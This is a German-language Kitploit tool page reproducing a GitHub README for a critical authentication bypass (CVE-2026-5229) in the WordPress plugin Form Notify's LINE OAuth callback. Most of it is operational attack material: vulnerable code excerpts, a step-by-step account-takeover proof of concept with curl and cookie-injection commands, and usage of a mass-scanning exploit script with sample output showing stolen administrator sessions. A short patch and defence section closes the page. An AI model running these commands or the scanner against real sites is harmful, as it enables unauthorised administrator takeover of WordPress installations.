Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-5229 — CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8) | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-5229
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & Education
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

Form Notify — LINE OAuth Authentifizierungs-Bypass Scanner

Plugin: Form Notify (form-notify) Schwachstellentyp: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Betroffene Versionen: <= 1.1.10 Gepatchete Version: 1.1.11+ Forscher: Paolo Tresso — Wordfence


📌 Über die Schwachstelle

Das Form Notify Plugin ist ein WordPress-Plugin, das Benachrichtigungen nach Formularübermittlungen sendet und eine LINE Login OAuth 2.0-Integration bereitstellt.

Die Schwachstelle befindet sich im LINE OAuth Callback-Handler. Nachdem der Benutzer den LINE-Autorisierungsablauf abgeschlossen hat, löst das Plugin das WordPress-Konto nur anhand der E-Mail-Adresse auf. Ob das LINE-Konto bereits mit diesem WordPress-Konto verknüpft wurde, wird nie überprüft.


🔍 Schwachstellentabelle nach Version

VersionSchwachstelleAngriffsmethode
<= 1.1.08Cookie-Injection + E-Mail-MatchPfad A oder Pfad B
1.1.09 – 1.1.10E-Mail-Match (Cookie entfernt)Pfad B
1.1.11+Gepatched—

⚙️ Technische Analyse

Offener REST-Endpunkt

Der LINE OAuth Callback-Endpunkt ist vollständig öffentlich registriert:

root@kitploit:~
// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // keine Authentifizierung erforderlich
        },
    )
);

Warum bietet Nonce keinen Schutz?

WordPress-Nonces sind CSRF-Token, keine Authentifizierungs-Token. Jeder Besucher kann einen gültigen Nonce aus dem HTML der Seite holen und die Prüfung bestehen.


Kontosuche per E-Mail (1.1.10)

root@kitploit:~
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
root@kitploit:~
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // nur Suche per E-Mail
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // KEINE Verknüpfungsprüfung
    }
    return false;
}

Wenn eine Übereinstimmung gefunden wird, öffnet die Methode login() sofort eine Sitzung:

root@kitploit:~
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Cookie-Injection (<= 1.1.08)

root@kitploit:~
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

Wenn das LINE-Profil keine E-Mail zurückgibt ($user->email leer), liest das Plugin direkt das Browser-Cookie aus. Der Angreifer hat dieses Cookie vollständig unter Kontrolle.


Schwäche der State-Überprüfung

root@kitploit:~
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Falls Transient nicht vorhanden, fällt auf $_SESSION zurück
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

Wenn der Transient abgelaufen ist, greift der $_SESSION-Fallback. Bei den meisten WordPress-Installationen ist $_SESSION an dieser Stelle nicht gesetzt → Der State-Check kann umgangen werden.


Nebenschwachstelle — E-Mail = Passwort (<= 1.1.10)

root@kitploit:~
// sign_up()-Methode
$userdata = array(
    'user_pass' => $user_email,  // Passwort = E-Mail-Adresse
    ...
);

Bei Konten, die über den LINE OAuth-Ablauf erstellt wurden, ist das Passwort identisch mit der E-Mail-Adresse. Dies erlaubt direkte Brute-Force- oder Login-Angriffe.


🔴 Warum Kritisch?


🧪 Proof of Concept (Manuell)

⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.

Voraussetzungen:

  • Form Notify Plugin installiert und aktiv, LINE Login konfiguriert
  • LINE-Entwicklerkonto und LINE Login Channel
  • Seite auf der Zielseite mit LINE-Login-Button

Pfad A — Cookie-Injection (<= 1.1.08)

Schritt 1 — Ziel-E-Mail ermitteln

root@kitploit:~
TARGET="https://target.com"

# WordPress REST API: Benutzerliste
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Oder Author-Seiten
curl -s "$TARGET/?author=1" -I | grep Location

Schritt 2 — Cookie setzen

Browser-Entwicklertools öffnen und in die Konsole einfügen:

root@kitploit:~
document.cookie = "[email protected]; path=/";

Oder mit curl:

root@kitploit:~
curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

Schritt 3 — LINE OAuth Flow starten

Die LINE OAuth-URL aus dem Location-Header im Browser öffnen.

Schritt 4 — Ohne Email-Scope abschließen

Auf dem LINE-Zustimmungsbildschirm die E-Mail-Berechtigung nicht erteilen oder ein LINE-Konto ohne E-Mail verwenden. LINE leitet ohne E-Mail an den Callback weiter. Das Plugin fällt auf das Cookie zurück.

Schritt 5 — Sitzung überprüfen

root@kitploit:~
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

Erwartete Antwort:

root@kitploit:~
{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Pfad B — E-Mail Match (<= 1.1.10)

Schritt 1 — Ziel-E-Mail ermitteln

Wie Schritt 1 von Pfad A.

Schritt 2 — LINE-Konto erstellen

Auf account.line.biz ein LINE-Konto mit der Ziel-E-Mail erstellen. (E-Mail-Verifizierung erforderlich — Zugriff auf das Ziel-Postfach notwendig.)

Schritt 3 — OAuth Flow starten

root@kitploit:~
https://target.com/wp-json/form-notify/v1/login

Schritt 4 — Mit Email-Scope abschließen

Auf dem LINE-Zustimmungsbildschirm die E-Mail-Berechtigung erteilen. LINE gibt die E-Mail-Adresse an den Callback zurück.

Schritt 5 — Automatische Authentifizierung

root@kitploit:~
Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator gefunden
     → wp_set_auth_cookie(1)
     → Sitzung geöffnet ✓

🛠️ Automatischer Scanner

Installation

root@kitploit:~
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Verwendung

Einzelnes Ziel — Automatische E-Mail-Erkennung

root@kitploit:~
python form_notify_rce.py -u http://ziel.com

Bestimmte E-Mail mit Pfad A (Cookie-Injection)

root@kitploit:~
python form_notify_rce.py -u http://ziel.com \
  --email [email protected] \
  --path A

Pfad B (E-Mail Match) — Manuelle Fertigstellung

root@kitploit:~
python form_notify_rce.py -u http://ziel.com \
  --email [email protected] \
  --path B

Beide Pfade

root@kitploit:~
python form_notify_rce.py -u http://ziel.com \
  --email [email protected] \
  --path both

Massen-Scan

root@kitploit:~
python form_notify_rce.py -l targets.txt -t 15 -o ergebnisse.txt

Mit Proxy (Burp Suite)

root@kitploit:~
python form_notify_rce.py -u http://ziel.com \
  --proxy http://127.0.0.1:8080

⚙️ Parameter


📊 Scanner-Ausgabe-Status


🖥️ Beispielhafte Scanner-Ausgabe

root@kitploit:~
[*] 3 Ziele | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://ziel1.com  (Pfad A)
  Ziel-E-Mail : [email protected]
  Version     : 1.1.08
  OAuth-URL   : https://access.line.me/oauth2/v2.1/authorize?...
  Benutzer    : admin <[email protected]> roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://ziel2.com  (Pfad A — Manuelle Fertigstellung)
  Ziel-E-Mail : [email protected]
  Cookie Set  : [email protected]
  OAuth-URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://ziel3.com  (LINE Login nicht aktiv)

──────────────────────────────────────────────────────────────
  DONE                        :    2
  NO_LINE                     :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

🛡️ Verteidigung / Patch

Sicheres Kontoauflösungsbeispiel:

root@kitploit:~
// Unsicher (aktuell)
$user = get_user_by( 'email', $line_email );

// Sicher (empfohlen)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // mit LINE-ID abgleichen
) );

📁 Dateistruktur

root@kitploit:~
form-notify-bypass/
├── form_notify_rce.py   # Hauptscanner
├── requirements.txt     # Abhängigkeiten
└── README.md            # Diese Datei

⚠️ Rechtlicher Hinweis

Dieses Tool und der PoC sind ausschließlich für autorisierte Systeme, Bildungszwecke und im Rahmen von Penetrationstests bestimmt. Die Nutzung auf nicht autorisierten Systemen stellt gemäß §§ 202a-202c StGB (deutsche Strafrechtsnormen) und internationalen Cybercrime-Gesetzen eine Straftat dar. Der Entwickler übernimmt keinerlei rechtliche Verantwortung für Missbrauch des Tools.


📄 Lizenz

MIT License — Nur für Bildungs- und Forschungszwecke bestimmt.


🔗 Referenzen

  • Wordfence Advisory
  • LINE Login OAuth 2.0 Docs
  • WordPress Plugin Directory — Form Notify
  • CVSS 3.1 Calculator
  • OAuth 2.0 Security Best Practices — RFC 9700
Tool herunterladen
GrundBeschreibung
Keine Authentifizierung erforderlichCallback-Endpunkt vollständig öffentlich
Keine VerknüpfungsprüfungJedes LINE-Konto ausreichend
Cookie-Angriff<= 1.1.08 nicht einmal E-Mail nötig
Alle Konten inkl. Adminget_user_by('email') betrifft alle
Schwache State-KontrolleCSRF-Schutz umgehbar
E-Mail = PasswortÜber OAuth geöffnete Konten trivial brute-force-angreifbar
ParameterKurzBeschreibungStandard
--url-uEinzelnes Ziel-URL—
--list-lDatei mit Zielliste—
--threads-tAnzahl Threads10
--output-oAusgabedateiauth_bypass.txt
--email—Ziel-Benutzer-E-Mailautomatische Erkennung
--path—Angriffspfad (A / B / both)both
--max-users—Max. Benutzer pro Ziel5
--proxy—Proxy-URL—
--timeout—Request-Timeout (Sek.)10
StatusBeschreibung
★ AUTH OKSitzungs-Cookie erhalten — vollautomatisch
★ WP-ADMINWeiterleitung zu /wp-admin
~ MANUALOAuth-URL bereit, im Browser abschließen
~ PATH BManuelle Schritte mit LINE-Konto
- NO_PLUGINForm Notify nicht installiert
- NO_LINELINE Login nicht aktiv
~ NO_TARGETBenutzer-E-Mail nicht gefunden
~ UNREACHZiel nicht erreichbar
MaßnahmeUmsetzung
Plugin-UpgradeAuf Form Notify 1.1.11+ aktualisieren
LINE-VerknüpfungsprüfungLINE-ID in Benutzer-Meta speichern, bei jedem Login prüfen
Cookie-Fallback entfernenVerwendung von $_COOKIE['form_notify_line_email'] entfernen
State-ValidierungTransient-Fallback entfernen, abgelaufenen State ablehnen
PasswortrichtlinieIn sign_up() E-Mail nicht als Passwort verwenden
REST-EndpunktschutzRate Limiting für den Callback-Endpunkt einführen